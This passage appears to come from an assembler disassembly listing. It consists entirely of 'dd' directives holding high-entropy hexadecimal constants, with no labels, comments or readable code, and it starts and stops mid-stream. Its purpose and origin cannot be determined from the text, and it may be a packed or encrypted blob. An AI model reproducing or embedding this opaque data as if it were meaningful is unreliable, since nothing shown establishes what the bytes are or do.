72B7E931h, 0FD9FA010h, 64CFBE2Ah, 0D2ADAA5Dh, 344968CFh dd 41550919h, 446E2786h, 0C1861E9Dh, 0F80ACA25h, 3F803F6Ch dd 4AC9FCFDh, 7E0CB1EBh, 7600B116h, 2249B4F5h, 969836h dd 9BBB5302h, 3147272Ch, 45CADD62h, 90467DB1h, 0F10AEC25h dd 7F508BEBh, 0A9B09FD6h, 0BDC72BE9h, 22A7DE73h, 77172C06h dd 0F3278DE6h, 1096F7C9h, 859580Fh, 0B36BB8FDh, 0D61C452h dd 77BA00C0h, 0F413BF6Ah, 0F2745BCEh, 0EE68835Dh, 0E2AB8405h dd 714EC794h, 0F68162C0h, 0C8081620h, 8E450837h, 0C012C22Fh dd 27799169h, 0C158756Dh dd 0B5660AEAh, 0B0CB7288h, 9D681787h, 0C0B6EC44h, 0E28840B4h dd 0B6D07358h, 0CD12439h, 0B536A3BDh, 0EF4B9F70h, 0F3808CBAh dd 73249AB9h, 22A6CE01h, 79301E26h, 88082709h, 16B535F0h dd 0EE09082h, 77A3473Fh, 2B4159C9h, 41997006h, 74580C16h dd 694605BBh, 0D6D1491Fh, 0B5EEE800h, 3E50701Bh, 0DF050886h dd 77E9E799h, 0C114CCBCh, 8B10FFEFh, 0DE88033Ch, 97F0865Bh dd 93CB30E3h, 510827D9h, 68DECEB0h, 1A4E3424h, 87A30F69h dd 0E21BE9D9h, 93ECF7FCh, 0D14CFC00h, 1BE58149h, 27F0241Ch dd 0A50E8572h, 0C6918013h, 2609254Dh, 713B91E9h, 5FC5286Ah dd 0EE7D12A7h, 0F0F47399h, 0EE71CFF6h, 366C0D3Eh, 0E962F6CFh dd 0A6C95457h, 4B50015Dh, 0F04323EFh, 18B7AC96h, 826AF69Eh dd 0D0032360h, 0DFD9E5E7h, 0F18008E8h, 0FDEDC473h, 0C1C3F728h dd 2C3F58EBh, 0FBC99F07h, 69B05CFEh, 0AB57631Ah, 0A4460D1h dd 7DB75341h, 5CC7FE39h, 144A1386h, 6AB329BBh, 50400329h dd 5E2B1916h, 17BC8797h, 90E93180h, 7E5D0282h, 1DF1A735h dd 1223D825h, 0F3727C68h, 7A167C89h, 0CA1115FEh, 0C3007AB3h dd 353C5B45h, 4E261AE8h, 0E9080701h, 1C773B6Dh, 6A229572h dd 6DD35C62h, 85080E14h, 0DD00F818h, 0C84C97BDh, 0CF20B740h dd 5D3799FAh, 23E8E912h, 2FE2FDF4h, 80788F47h, 0F646BB09h dd 0B9A0068h, 807AF333h, 0F027AB3Eh, 0D794899Ch, 0E98B7051h dd 0D0D31225h, 805F7E61h, 2026C280h, 0A5399530h, 16BEC6E8h dd 0A175E950h, 41AF3E62h, 0EC6EDD3Ch, 7E55C40Dh, 0D44A8F25h dd 6CAF58A7h, 2737695h, 0C8A3D611h, 0EDEB02FDh, 0D5742B47h dd 62AF4A25h, 0B378753Bh, 0A522C59Fh, 0AEB04510h, 4B8914B5h dd 5CB20B77h, 9D0C757h, 0DF4243E9h, 0B969F9D5h, 0B74546B1h dd 5CEFAF85h, 1DD983BFh, 0BEF260DDh, 0D99FA250h, 0D9DFC93Ah dd 0DB2E33Bh, 55515409h, 0B5936857h, 0E1C10527h, 0AC6FE905h dd 5024FB1h, 0EA013F3Bh, 8D04892Eh, 0E13F1E55h, 6F1E7BE7h dd 0A6C464D3h, 7D0287F8h, 11FBC5Ah, 0B0E96C7Dh, 490E09ACh dd 85E041A4h, 977D3A30h, 0F6E88BBFh, 2290456h, 4CF0AF37h dd 9F9E3F2Dh, 0D5D5E9BEh, 62A086BEh, 802C537Ch, 0A4A54108h dd 2F946930h, 0FBB564ABh, 0E98EEAB6h, 2932EB4Ch, 2EB8C651h dd 1A8DF8B0h, 0C63F63Bh, 7EA4DE56h, 7555E227h, 7B634D59h dd 0C07E4FEAh, 38532691h, 0F7FA6176h, 0EEECF3FDh, 28A4F9B2h dd 342FE9E0h, 0E6D68F9h, 0A8578117h, 0BD3D837h, 25BE9D00h dd 1254D719h, 0FA3C8FE9h, 0FE10B9E2h, 6CAC4B78h, 0AE2DFFF4h dd 9666E92Ah, 0C26ED0FEh, 8525E951h, 7FDEC824h, 0C08B7F73h dd 327BE50Ch, 0D7510107h, 0C0806E6h, 93201482h, 69BE2F74h dd 0F46175B0h, 485DE8B1h, 833B3328h, 222D04FBh, 0C00F4ACBh dd 2C441A4Eh, 0C5295F14h, 580840A7h, 0EFA15595h, 81C25BE9h dd 1F75CE9Dh, 0B8703048h, 451313DAh, 4A2EA87Ah, 3E160EF4h dd 2F67E71h, 0FB87A7C3h, 0BAC009F6h, 0B2EE94Eh, 0E093CAAAh dd 58573C80h, 4F4A5F35h, 0C992F444h, 79F26E68h, 7255199Ah dd 392E2411h, 685150E3h, 66737227h, 0E3CA500Ch, 0B5E91A08h dd 0CE591A22h, 67C9C181h, 0AF605E79h, 0B8AB850h, 58468B6Dh dd 1C6AF5h, 984069E3h, 60053F0Bh, 224B91Eh, 72A9225h, 0EEA92E0h dd 4BCD3180h, 13F1BC59h, 0A680E7D1h, 90AC3B2Ch, 771816DCh dd 3051026Eh, 0ACDEFEF5h, 6C75614Eh, 0E8DB61F8h, 98435D76h dd 82AF7ADDh, 4B39F45Eh, 0FFBA17AAh, 0AA2AA28Ch, 4D7C55D7h dd 1364AE59h, 0AAC2EC59h, 71E377B5h, 0DB684709h, 92DF5678h dd 0E288BA5Ch, 282D9627h, 80E4F8C4h, 3B02B7BEh, 9E687874h dd 5F187713h, 749D5C4Eh, 2009E574h, 0FEE888DDh, 8243FB99h dd 0BB974A33h, 0A9A59F40h, 12317C52h, 0E03DE9F7h, 7D9D66E2h dd 765737B2h, 14E9615Ch, 68415080h, 67C57A55h, 31FB376Eh dd 6E72A94Ch, 0C52CFB9Ah, 5CE040EFh, 0CDA042ACh, 15276AB5h dd 0AC195134h, 0B9360528h, 68FD4576h, 4A0ABCC9h, 5840DAAAh dd 21F62DFDh, 7F69F719h, 40027896h, 5F48024h, 47F4C4FEh dd 306A2B55h, 2C809636h, 0C8283DDCh, 242998F4h, 0A48620EBh dd 630908F1h, 0F1060727h, 5FEF0A92h, 0DC272FD1h, 0FB78A864h dd 0E10FD07Eh, 0A04A5A1Bh, 7D03DAC0h, 0E1434AEDh, 0A40368F6h dd 12FC8456h, 0A8AFB605h, 0D3E484B0h, 76B15F25h, 7F412AE8h dd 332A7E46h, 275AC9D8h, 58DE5426h, 156F7900h, 921AE957h dd 0FAF8B0D5h, 6B9617E7h, 0EF950F0Eh, 2E757A22h, 59AB9360h dd 0AC1E5524h, 93742502h, 2FF7781Ah, 0CF64602Dh, 9208BB04h dd 0B8EE235Fh, 509C8B98h, 658702Eh, 0E2805BDAh, 1A6F182Ch dd 4DC91DDDh, 0AFDC535Eh, 5550B99Ah, 0CCC7E01h, 0F281EAD1h dd 0DC2B4FFh, 0AC4C7789h, 52BE6AA0h, 56612C0Ch, 5F6489F7h dd 2B4D29Bh, 75743660h, 3562DD00h, 4DB9EFBCh, 0C8C65E01h dd 3FB85D29h, 0B7D5DABDh, 445BFB58h, 5F50580Bh, 5C84C747h dd 0CCEFC821h, 7D4BE926h, 0F968D4C0h, 1C5DEC6Ah, 86DE875Eh dd 8D2F7D3h, 87F010D3h, 8B6E0D45h, 7B8E536Ah, 0B72BF0F1h dd 3768C558h, 0E9CF30EEh, 3BC18DA6h, 2D725CEBh, 7C69717Ah dd 0C5238735h, 40C4251Dh, 3363BE80h, 9A30FDDBh, 0B8EDE605h dd 7A9148A2h, 4865B981h, 0C9E6206Bh, 3A4D3B0Ch, 12AB0C28h dd 1E386F25h, 940E87B5h, 0C384F927h, 0DB6FC89Ch, 31FEEE26h dd 3253FF6Fh, 68C254ACh, 9051522Ah, 20BEDB7h, 7473EC1Eh dd 3563629Bh, 0C27A9F5Eh, 0D2CAD707h, 0A0E52EC1h, 132D3C7Ah dd 16212205h, 0FD92F7C5h, 0DD9E29F5h, 5C17B75Ah, 0C0AF2D58h dd 3E0D5A65h, 7B290C12h, 0F7F406FFh, 2020AD8h, 14B1BF57h dd 943DF76h, 41DF47CAh, 0B8489947h, 38FC97C3h, 0B9BBA63Dh dd 1627B887h, 81BE1304h, 755DC809h, 0A5942AA8h, 8B30C2A9h dd 90E952DEh, 0A53FDDB4h, 0FBB78521h, 901DB3BAh, 4C250486h dd 50AE71E3h, 57550887h, 0D3E2A22Bh, 0E91735CAh, 64DA4BA3h dd 52555EF8h, 0A52D79ACh, 11D8C246h, 2575948h, 247B4D38h dd 207B5E37h, 82D39707h, 0E419A10Bh, 805B6BF3h, 98F7D80Bh dd 77B50CAh, 83454BCCh, 0D587F2EDh, 0CCA6AB4Bh, 4C8D0E1Ch dd 0E9EE2941h, 0E07841A4h, 8A552CAh, 870E27B7h, 8C2CE4F3h dd 55C48D89h, 293D32A6h, 88BED4Eh, 69160E7Bh, 985EBDF0h dd 6F4A1856h, 5AD2F4C0h, 0A0CAD4BCh, 0CA52A102h, 0C2C9606Eh dd 2EEF3055h, 25075F38h, 49FF405Bh, 280056F7h, 496E37ADh dd 6836BE04h, 82AA6A6Dh, 9FDACD2h, 2F00CDB6h, 0B57BFEB1h dd 0E0EB6C57h, 0D625019Fh, 2D14FD5Ah, 29E5CE00h, 68521625h dd 0FA245DD4h, 0F82B7F80h, 6225E912h, 0F7946803h, 9D25279Ch dd 91023B7Eh, 40302415h, 7710A536h, 75D6956Ch, 1CD00820h dd 98E91F14h, 9E40D66Ch, 0BF3E4A08h, 26BC065Eh, 2208284Dh dd 57BE013Ah, 283C1F7Fh, 0E87F7371h, 1160CE25h, 8A720873h dd 58E3FE10h, 5B2F15F8h, 258D5812h, 67ECDF02h, 9A105D97h dd 0C19686E9h, 0FCA15916h, 937CEE2Eh, 0AE084EA1h, 7EB1DD74h dd 5599EC10h, 1034FB80h, 90B416Bh, 9D0CEC24h, 0D21D33BFh dd 68B1E806h, 0CD205BBAh, 3C8FF90Ch, 0CBAA4FB8h, 5E9093Ah dd 9ED2B1Ch, 637E2DEDh, 0A5BE6F45h, 605D3497h, 0DECEAE9Fh dd 265B4304h, 22513EACh, 5C4C89E0h, 2F7A5AFEh, 6CCC31Bh dd 0CF5A7D98h dd 0B35BE7B7h, 3EEC970Bh, 0A06FD041h, 17092FF6h, 0D55D51E5h dd 0F0219E90h, 0C48B3BDh, 0E07AE906h, 0DD48F720h, 668001DAh dd 0EB897446h, 1651AF74h, 0EE5FD548h, 0DC074D4h, 180AFDECh dd 6154BDE9h, 0C9955DE8h, 5564559Ah, 7BF02C68h, 4E6A48h dd 37E6295Bh, 0BD647BBh, 46617ABCh, 9446F587h, 2F34506h dd 28296EDEh, 2DB4E04Fh, 7A6C206Bh, 54773408h, 461F0523h dd 0B49A0902h, 0BA00D1C2h, 37F7125Fh, 0AF3053B5h, 0D12D4AF2h dd 0EFD7DE45h, 0FA818B65h, 0BED8A8Ch, 3135B755h, 0EAC04D92h dd 0E8620DE9h, 1962A0E3h, 0E7A03F50h, 5B8840B8h, 0E91BE7E8h dd 0B359A055h, 12DC775Dh, 0AB1C8176h, 0D0CD49F0h, 0C6400B8Ah dd 970513CEh, 0AA0244Bh, 2F455A08h, 5F043C55h, 4B42BC68h dd 5B848EFEh, 0E2265EB6h, 0E57DA70Eh, 0E1FD0D35h, 534980F0h dd 0AD761768h, 0B45B5A45h, 740B6543h, 0DE296FFCh, 250CC8D5h dd 0D12D0954h, 14E967EEh, 966E482h, 6634E07h, 0D3D2D40h dd 915FDF38h, 28EF47Fh, 0AEDE5505h, 0BF0B123Dh, 0C639E891h dd 2AC8BE03h, 21173310h, 0ECAD5EF7h, 546E0B76h, 0F7841FF1h dd 5A68D828h, 0FBFE840h, 61624890h, 0D9608A49h, 0D52CF75Dh dd 0DCDD595h, 0CC384B39h, 0E130AB5Fh, 3059C820h, 5E25F131h dd 104EB268h, 0F880DC99h, 0EA416DAh, 0E9162A05h, 0BAA1F15Bh dd 82326A30h, 0B227B090h, 0B2BF10D3h, 12AB5FB2h, 81F7EF2Dh dd 67165F94h, 0E00E90Eh, 605BD987h, 82F681CEh, 0E4A8279Dh dd 0B552B660h, 5CB011BDh, 200844C2h, 919EE0F5h, 0B5FCA3C4h dd 0EBD9274Fh, 51D3ABABh, 0F409B724h, 0C0FB7DC5h, 8868E9C1h dd 0D731268Bh, 17EC1CB8h, 0A407B4B9h, 0C1E2B278h, 811942EEh dd 6ACD4FA5h, 0F8E8D7D6h, 1820B4Ch, 0FA715CFFh, 8555DBFBh dd 0DBE0FBCDh, 0F8549772h, 8014F06Bh, 0BE82F748h, 0A995675Ch dd 159827EEh, 67AE784Bh, 0C49EB3A5h, 4FE4144Ch, 14908B98h dd 0C177402Dh, 22463F00h, 0B32AE956h, 0AB2C30C7h, 891AF75h dd 1830FA89h, 9AF2F4DAh, 0F55955BFh, 67645F45h, 0A4BEC2D5h dd 595AE982h, 0C713A884h, 82BFE7BBh, 0D456A0E9h, 0ADCC88BFh dd 5897BA00h, 12BD0E1Fh, 0AAA922F3h, 61427713h, 0D7096968h dd 35F9EF18h, 0E1DF2327h, 0C17A26E5h, 3EE494B4h, 52DC6661h dd 1BC2E00Dh, 48542B92h, 0DE02BDBAh, 113EC90h, 7B7E5DEEh dd 0FEF2DC62h, 0D684133h, 0A19D3D5Bh, 6C249171h, 0E55258CFh dd 8A30E612h, 7D5F6B08h, 0B66C3C00h, 0E92F413Bh, 300C8311h dd 0DD73BBD3h, 0AA4A04A9h, 0DD891D07h, 4454EFD2h, 35C30EC9h dd 0CFCF14D7h, 4B34663h, 0D2D91804h, 4EA9D58h, 92ACB4Fh dd 42106066h, 35E282DFh, 306F7B75h, 583CE9A7h, 17F34797h dd 62EB0589h, 0A31BB9Ch, 2C01D9A2h, 7BC76A18h, 45B65940h dd 0E4C63180h, 0D828CF06h, 0B34803E9h, 0B2BAD370h, 82FAD202h dd 0F0DF2D8Ah, 0BC494FFh, 0CED5D672h, 0BD3F96CEh, 0EAA9D325h dd 580DE177h, 0CB8ABC6Ah, 642E5722h, 0B97799CEh, 130784E7h dd 0BC9E0112h, 2A307A62h, 0F8659E13h, 0F5434D9Ch, 0FA5B7263h dd 62BA2528h, 52D2B716h, 7C81C1D5h, 953A51E8h, 0E92099F5h dd 8334ECEDh, 0FA5C0FF1h, 0CE661521h, 0E23DDB46h, 62B31D25h dd 1ED2F282h, 6A835D2Dh, 0A975DF8h, 623900EAh, 0FA01DE7Bh dd 68CFE917h, 533C7FA9h, 5D29B716h, 72763266h, 112EF8C0h dd 0DF400825h, 0A1314921h, 0EB367054h, 0EF815660h, 4EDAF6F3h dd 408DB8EEh, 9E09E617h, 804CD05Ah, 0AC0A7139h, 737EB578h dd 66058D10h, 0BD640F68h, 0FC2D773Bh, 80307179h, 52505319h dd 882640B2h, 420BB3D4h, 5199DCEAh, 34C12456h, 78E43712h dd 7409FECh, 72CD5889h, 6803E44Ah, 1827C7A6h, 0FF52A620h dd 4BB2F603h, 0AEF2D212h, 0C924747Ch, 0A40EEF2Dh, 462F1314h dd 155A3554h, 0E3F49A2Ah, 0A9EEEB05h, 0D7AC019Ch, 0F0E88316h dd 282F804h, 7E894CC8h, 0F6556172h, 82276141h, 0EC7C62E5h dd 1761F742h, 0B8567B0Eh, 0BBB0D2ACh, 0B6722372h, 0CB04437Fh dd 37453A39h, 0FE1F8A80h, 210C358Dh, 77BD008Ah, 0E92F294Ah dd 2863F650h, 21F81C4Fh, 3F3AD3B7h, 5DDBE112h, 402AA321h dd 20C20101h, 6B12D06Dh, 49AE5C91h, 64814E51h, 0EECF7994h dd 57E0067Fh, 97BC7EF8h, 0B27F66C6h, 0EE331388h, 0E8291458h dd 5D04072Dh, 0D8075568h, 574BCEEAh, 1A9D888Ch, 8A72BD22h dd 4A4E4740h, 0C2B6E92Dh, 818A7EBDh, 0B55166CCh, 0E10E9BCAh dd 1AE9E906h, 0ABD7122Ah, 5648498Bh, 0BFE05AE2h, 0F8B41A4Ch dd 4AC06163h, 2581ADDBh, 0C44FD5Fh, 0FD1CE912h, 6D351101h dd 2DC8A87Ch, 7F46045Ch, 0AAC5219Ch, 0FB4C6561h, 0BDB81F04h dd 7B8461C1h, 0E2281A05h, 0F79883h, 2F9EB824h, 7CBA6241h dd 25064816h, 3F1E3800h, 1629338Ch, 0E078E9CAh, 4D48455Ch dd 566B0568h, 0EE08C936h, 17011722h, 8956BFE3h, 0AB0CC5AFh dd 2CACAA2h, 2C200A6Ch, 48796A1h, 0BEDB2866h, 0FEA26CFDh dd 0F58891D6h, 272026DBh, 0F0BBA9F5h, 443696C1h, 804CB85Eh dd 1A15C181h, 0D778626Eh, 665FBB87h, 565F0979h, 0A4846852h dd 0E508EBADh, 98BE0F86h, 0A728C307h, 0F0F31CD2h, 82FB054Ah dd 5D45E31h, 7F44604h, 490EE9C0h, 184561CAh, 6AE07B3Bh dd 806FD89h, 814821Ch, 2833208Dh, 9C821858h, 8EC3BFCEh dd 260E164Dh, 82016FBh, 15F7E913h, 0F07F365Dh, 0FB6C4867h dd 7FBC83D2h, 6CC0D559h, 5492366h, 21E9F501h, 30ABAD27h dd 0FF2D065Dh, 16CC3F6Eh, 8576D9A4h, 0B9104068h, 0F4A696CAh dd 4E73F10h, 6ECD6853h, 27E69AAFh, 0C2C2B45Bh, 0DFAFE95Fh dd 4F2564DDh, 7A22E5BAh, 0C83E6EB5h, 3812952Fh, 3A2D4DA1h dd 6C2CFB2Bh, 8E2D49E9h, 0D6F74E0Dh, 0E09BE804h, 0B4C8FE4Ah dd 54D70DF5h, 2FAC15E6h, 25E986B4h, 0EB460DBFh, 0A513465Bh dd 50C6801h, 0B17A707Bh, 30EC3F64h, 730E9590h, 0AA131358h dd 40D10309h, 5EC9681Ch, 3C8F314Fh, 8AF63E46h, 0CDAC543Dh dd 4201AC05h, 7D4AFA58h, 0C898D343h, 3D060F05h, 87596C1Dh dd 0F61C4FEBh, 205B4CDCh, 315C4B8Eh, 0F950557Eh, 0BD522B0Fh dd 5E4340AAh, 1FD6ADCh, 40ECFB40h, 0CE9D5DE2h, 0B65AA1B4h dd 0F8EAFCE7h, 6857F0AEh, 822F4CA0h, 231846D8h, 0BD056DE8h dd 78303607h, 5DF9C8EFh, 351886C3h, 0CFB200F3h, 46F9659Ah dd 0D772874Fh, 89E9DA12h, 0EAC813FFh, 0ED9774A7h, 0B2D893B7h dd 0EAF84B60h, 8AEFF835h, 3887518Fh, 4CBD0247h, 6066470Ah dd 3B7CB48Bh, 0ED025531h, 978C5044h, 2C5C8A5Dh, 4058761Ah dd 8059CEF0h, 21734940h, 0DEB12BB5h, 7C298DC2h, 2F7B3010h dd 0C3D5C660h, 0B0D23E7h, 244E68E0h, 0E9166B46h, 0A4F81052h dd 0A2EBF5C6h, 9E685002h, 797CBF59h, 0D8F7407Fh, 60057505h dd 0F1E9BC0Fh, 0B3560A0h, 8A335E43h, 7FDE0601h, 0C1C2405Ch dd 0CA188467h, 0E9C6290Bh, 0F60352E8h, 0B70BEA97h, 5B71E0BFh dd 4DEB3387h, 23406806h, 3B4ADFB5h, 21C4B1ECh, 61350045h dd 0B87A0E72h, 5C697005h, 3016EDB8h, 29D8EE36h, 157975Ch dd 0D0283783h, 72E2288Bh, 0B982D551h, 5F318D0Dh, 0C2091F3h dd 0C45F5826h, 0C41F2102h, 0FD19551Dh, 29716057h, 0CC42B981h dd 0CDF28290h, 70AFE659h, 40E802BFh, 5FF829FCh, 7488B5FCh dd 775C176Fh, 0F093DF8Fh, 0F238804Bh, 0BAD331B4h, 0F37FFBC4h dd 0C18B9F8Ah, 9244D4D0h dd 9C0EE06h, 65ED5116h, 0AE081663h, 86A19302h, 0A0222B2Ch dd 0C0DFF589h, 95032740h, 55EB4C5Ch, 0BDE0174Ah, 0FEE8EF80h dd 5351C700h, 0D9B514B7h, 5E4B27E9h, 825C58D6h, 4B9C70FFh dd 0C58AAE5Dh, 0D9D754C9h, 3A55E961h, 680D3035h, 9F357058h dd 79E2A6F6h, 50797513h, 40F07EC2h, 78478F76h, 0D7CC3140h dd 6AF18910h, 0CA827937h, 7D534A52h, 0E9C2057Eh, 759BCA0Ah dd 724BB4D3h, 40BB2442h, 0A4E1215h, 13F2FBABh, 1F80EF68h dd 2F053FF3h, 105FB777h, 27685C17h, 8AD97436h, 0EFF876B5h dd 0C51DF24Ah, 9FE15A5Dh, 7CE7242Bh, 2259E9AAh, 5ABD5F5Fh dd 94644B07h, 6226F31h, 825F4258h, 45A83C7h, 4B8ABBDh dd 49B82E7Ah, 85D7A592h, 0E3FF01FEh, 45977A0Fh, 0F1F68129h dd 6F2C7DE9h, 6B68E390h, 48762450h, 92EF1A91h, 43D9C533h dd 0C3F7798Fh, 0DDBCCF85h, 827A165Ah, 0B1E877h, 54ABF181h dd 0C12C137h, 292747B1h, 3804E1E0h, 0C7DEE941h, 0D6C952C0h dd 8698859Bh, 2D502C67h, 4416BA8Bh, 400122AAh, 7E4E748Ch dd 0B8191883h, 340B5ACBh, 752367E9h, 54558138h, 0CA2003B0h dd 3A52951Fh, 0B050D401h, 5E0C0A6h, 0D1C29FE1h, 0DC348CEFh dd 91B04D8Eh, 7182A09h, 868FC52h, 0F709C61Dh, 0A22E00DDh dd 906E0D4Fh, 3ED105B2h, 0F1012D25h, 800805ABh, 2EE9EF11h dd 0A9FF6027h, 0C171B2ECh, 4C7DF229h, 2047A805h, 6631BC61h dd 0B013A45Ah, 45D90C65h, 0DD626474h, 0AF250217h, 0FDEC5CBBh dd 48B602F5h, 5AE91399h, 0A9FD8BA9h, 0ACC377B9h, 3E7F5677h dd 30036E2Eh, 1AF8EA30h, 25340326h, 40B31F93h, 0C59896ABh dd 520B2D38h, 57FC91DDh, 0E768E581h, 48802330h, 43713DAh dd 0FD70168Ch, 7F95B606h, 95A5BCA6h, 0DCCD8102h, 8F32EE01h dd 1E97A5A7h, 3B7E39AEh, 2FAEEB0h, 0E919DF6Ah, 8948C9C6h dd 0CC2869FBh, 28018733h, 0E9117349h, 0E96ED1ACh, 273B48A0h dd 0F7862790h, 9F5DA19h, 5224EABh, 0FFE378D5h, 0B84BAB2Eh dd 0DE37A83Bh, 1A72D38Bh, 0FAE57513h, 0EE13CA97h, 969CB2ABh dd 512DC899h, 9181093h, 0FF272988h, 0F6B7369Ch, 7968506Dh dd 3DE32D4Eh, 0BE128C16h, 4ED1BD22h, 7419CD4h, 1B0A7418h dd 2B047F5Ch, 84AA1B05h, 2DA4C2D5h, 0CCB00A89h, 0A1B8C829h dd 8A486F02h, 7D09E975h, 0EF10F309h, 47BEC366h, 97127FEFh dd 0A0EB78E4h, 0B84DBBA9h, 232009AEh, 50125495h, 11C080Dh dd 6584E914h, 2DF43012h, 2DAC5C95h, 302F1EFDh, 0F787372Ch dd 0FB5C9887h, 27125944h, 39DB31C2h, 0A17FA435h, 0AA1C74E5h dd 0B9B6355Bh, 0FE4D6716h, 3E0C2871h, 0DB6F497Bh, 0BA518342h dd 0B15DADCCh, 6C06809h, 0BAF50261h, 5FE00F59h, 2F3829EFh dd 12D666BDh, 2501B1BBh, 7B23A00h, 6AD156D9h, 45E10BCDh dd 0E8BDBC34h, 993A4832h, 372AC710h, 1A92A55Ah, 0F157688Bh dd 63F9955Eh, 8D07BADh, 22B4271Ch, 83CB0481h, 0E2E7092Ch dd 185FFC08h, 0AA36DEEAh, 0F3D08210h, 50F509FBh, 9808D27Fh dd 1C5C9B17h, 6D768281h, 0CF87DD47h, 5D609E04h, 3186ECFFh dd 18C258FEh, 568EE908h, 0E7BA0714h, 0F0147C78h, 894102B7h dd 9867FDE1h, 5F011132h, 0A6254D33h, 0BBC6406Bh, 65213F17h dd 4EAD4EFAh, 11E9E3D2h, 0EB96F274h, 0EA3821EEh, 34AE7D80h dd 24C79506h, 2AA14DC1h, 25902E80h, 0DE318D4Ch, 1F4039B0h dd 0C98BEC59h, 0EB555BFBh, 639B4C90h, 0C6E6B827h, 7E112920h dd 0D7C1F443h, 318CC245h, 0ACA8E5D5h, 8C5F16E9h, 234EC3DDh dd 1FA1628Ch, 4B16310Eh, 0A7466ABBh, 5DD5120h, 234942Dh dd 0B0C4EF5Ah, 0F965071Dh, 0E6B10A61h, 0CF312EF1h, 0B062B289h dd 0F140DD7Ch, 486DBAC2h, 0AF5E9AF2h, 0CE016E01h, 176485E9h dd 20A0A050h, 6F28284Fh, 12B35AACh, 0BDE0FAF5h, 4DBEA76h dd 1068C3FEh, 0B1388C35h, 0E180D20Fh, 86C1E149h, 7BE7F6D1h dd 0EBF10A08h, 8BCCB30h, 0B9010E02h, 46436108h, 0C4414E2Ah dd 0AF37FFEEh, 40213728h, 0ACC95255h, 1E8C90F1h, 1FEE58DEh dd 565FF900h, 302D6851h, 0F407FC30h, 7C3BC3C1h, 160CC148h dd 2EEC37A2h, 99204A3h, 0A951F23Ch, 225BA6BCh, 5FADBBCh dd 126BF40Bh, 5187AE3Fh, 0DD7DA2B2h, 0C26B80A4h, 0F27733C8h dd 6073953Ah, 9783B197h, 3872A788h, 0FFA25510h, 2E491B9Eh dd 0B737A85Fh, 4A689A40h, 0A121AB54h, 70835053h, 7C9628Ch dd 7E57E451h, 0FC5A25E8h, 270D20DBh, 6C55EA83h, 0C15376FAh dd 3E7BF1CBh, 2B8BB93h, 0E2E126B3h, 80D8A301h, 4A817E6Ah dd 1009DA0Ah, 0F05AB4BFh, 0B2F6854h, 2AA56662h, 9FEF38A6h dd 3A13D2C8h, 0C7E5B30h, 40CF0354h, 0C5B82706h, 58292A25h dd 400883ABh, 257140Ch, 0AD3DCE68h, 24D65F34h, 0F85D8882h dd 5793E02Fh, 0B8B47375h, 5F7716FAh, 0E59A0EB7h, 14D32B61h dd 0D9423A4Dh, 788F4B37h, 0B01B0B81h, 8255214Ch, 8E654C1h dd 0E84008A6h, 3CA55035h, 4AD2497Ah, 4BD34877h, 58EB0F55h dd 0E1A7F289h, 0CA120E16h, 208D4C73h, 0E6801C5Eh, 0B3F6CE8Dh dd 0C01C6C6h, 3FDF5748h, 0FD4EF35Ah, 2668B7E0h, 61AC251Dh dd 7F286CB3h, 6681E2F3h, 0E2436853h, 93301ACCh, 81461003h dd 2B9A0BCEh, 11754896h, 19E08FEFh, 0F0290BD5h, 8D4F8E9h dd 4EB4F527h, 0C7327430h, 0B588B6EFh, 0D89D8958h, 4E45E159h dd 5073808h, 4C38A868h, 9C20814Ah, 47146B7Dh, 13063558h dd 28EF16E9h, 547D5502h, 7322315Ah, 0B221060Ch, 0BA1B2625h dd 1A485F5Eh, 19BED03Ch, 3D038601h, 0CCEC487Eh, 58909D37h dd 2FEA6856h, 0CAB4EC67h, 0F0A664DBh, 0AC284E5Dh, 681FDD6Dh dd 2F3C439Eh, 69C25B2Ch, 2591EDEh, 53A7E61h, 0BA555CF4h dd 0C02073DDh, 819A5259h, 0C1DD2D8Bh, 84405E91h, 0C02555E9h dd 52CAC527h, 0DCBF61A2h, 13082045h, 0F5F08DE9h, 5BD2DE23h dd 978C4C20h, 5CBFC5D2h, 0A50C30B0h, 70524A07h, 0B0610E2h dd 93A8F85Bh, 2EE71801h, 0E17E6986h, 6068993h, 0E35E4Bh dd 2997AF54h, 92DE9DFh, 0FBCEE4CCh, 0E3169F22h, 921CB302h dd 66752405h, 4DB9A430h, 3C9271Dh, 659F28C4h, 515EA5E1h dd 296CAD59h, 0F4BE1D7Eh, 89CB89AEh, 0C644EB5Ch, 0EEB916AFh dd 6C17628Fh, 109DA347h, 66131F68h, 0B1A2BB50h, 0BF121094h dd 0BBE2AF57h, 0FC49E985h, 0D2B92F0Dh, 0C8293EFDh, 943BE42Ch dd 9E12EE28h, 5039ABEEh, 20B21041h, 2A945368h, 3B32FC1Fh dd 0A0903924h, 0D6341756h, 4771EEFEh, 5F81DAFAh, 5B7D71F7h dd 524EC7Fh, 27649Dh, 61AE3D26h, 9AB988BFh, 25E8A454h dd 0B03EAC41h, 3913E6D5h, 39E95A72h, 80787A2Eh, 5362B1BFh dd 0F7952944h, 0B541DAEh, 0C22344Ah, 7C3CEEDBh, 8E3C9BDh dd 843ECEE1h, 82C4E357h, 0A0D8A1E9h, 394BFAA5h, 0C1012565h dd 0A57745DDh, 61C208E9h, 15FA2E22h, 720565DDh, 0AA097E1Ch dd 17A5A416h, 96E90B01h, 5F5E9752h, 0B756AFD4h, 0D6EBF4D1h dd 8055279h, 44E0AE58h, 493496FCh, 0E10E7905h, 9EC0226Dh dd 1E4BD090h, 6DB00989h, 0FC279C7Dh, 1194D5Ch, 2E912D03h dd 0F8FA1A08h, 80198C2h, 61060205h, 0E9E8F4CDh, 0DC097BE3h dd 2F9C0042h, 0B0697107h, 0AF7A0B16h, 8B7D0276h, 0E425EA3h dd 0E96EEFD6h, 6CA9D969h, 0F4D19277h, 1C5A272Fh, 115D8B0Fh dd 8BB8323Ah, 0ED121FA3h, 20AFD3F7h, 0D4415786h, 0D0F24C76h dd 0C06B7F25h, 281427EBh dd 7B30086Ah, 0ACE912D9h, 0E09BB4A4h, 0CA5F783Bh, 1BA88BFBh dd 88485756h, 26236E6Fh, 839598E9h, 6680B450h, 0F6E688F8h dd 78DAD65Ch, 19307090h, 2CF04107h, 3016C41Fh, 29EC82C3h dd 25C1C5D7h, 0D75296B0h, 95EB0180h, 5EB30FCh, 811AFA3Dh dd 4C76771Ah, 0B5E816EBh, 7CBDCE44h, 9C591E7Ch, 7C29CBCFh dd 0F42F0171h, 82AE09ECh, 0CC5804D2h, 0D790D271h, 50790BBAh dd 746BB0Eh, 0E9F186F4h, 0FE36FC61h, 5C80C239h, 42F20754h dd 8AF2D028h, 1F55C5A5h, 0B1570956h, 7E27E6E7h, 8B6DC6E8h dd 5DEA010Bh, 0AD817431h, 27E0175Fh, 